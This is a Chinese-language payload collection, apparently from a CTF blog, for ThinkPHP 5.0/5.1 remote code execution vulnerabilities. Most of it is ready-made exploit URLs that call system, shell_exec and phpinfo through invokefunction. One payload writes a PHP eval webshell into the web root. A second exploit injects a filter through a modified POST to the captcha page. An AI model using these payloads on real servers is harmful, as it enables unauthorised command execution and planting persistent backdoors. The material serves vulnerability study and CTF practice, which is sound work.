PS:针对不同的情况有些payload可能不适用 可以都尝试尝试 一定要自己审计理解原理
部分payload来源以及合集来源:
ThinkPHP漏洞复现_半盏时光、旧梦悠长的博客-CSDN博客_thinkphp复现
深入学习理解可以参考如上的链接地址
- Thinkphp 5.0.5-5.0.22 Thinkphp 5.1.0-5.1.30 远程代码执行漏洞(5.0.20最适用)
payload如下:(这是执行system函数的payload)
在index.php后把响应内容作为参数GET提交即可
http://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=lshttp://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "*flag*"http://111.200.241.244:51358/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat ../../../flag
用于写入shell的payload
此时调用的函数是file_put_contents 写入一句话木马到www根目录下的zxc1.php
// POST内的可以更改http://111.200.241.244:51809/index.php?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=zxc1.php&vars[1][]=%3C?php%20@eval($_POST[a]);?%3E
也可以借助函数shell_exec的payload
// 命令"id"可更改/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=whoami
也可以直接构造phpinfo的界面
http://111.200.241.244:51809/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1` and it'll execute the phpinfo:
其实可以利用的函数和功能很多 所以核心是理解漏洞产生的代码原理
- Thinkphp 5.0.x-5.0.23 远程代码执行漏洞 (主要是5.0.23)
利用方式:
在index.php?a=captcha界面 通过burp抓包 将提交方式修改为POST 在包中最后增加如下一句话即可 可以直接访问index界面 在包中顺带修改url请求地址
如下修改
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
有些环境没有办法测试成功 所以需要自行理解代码分析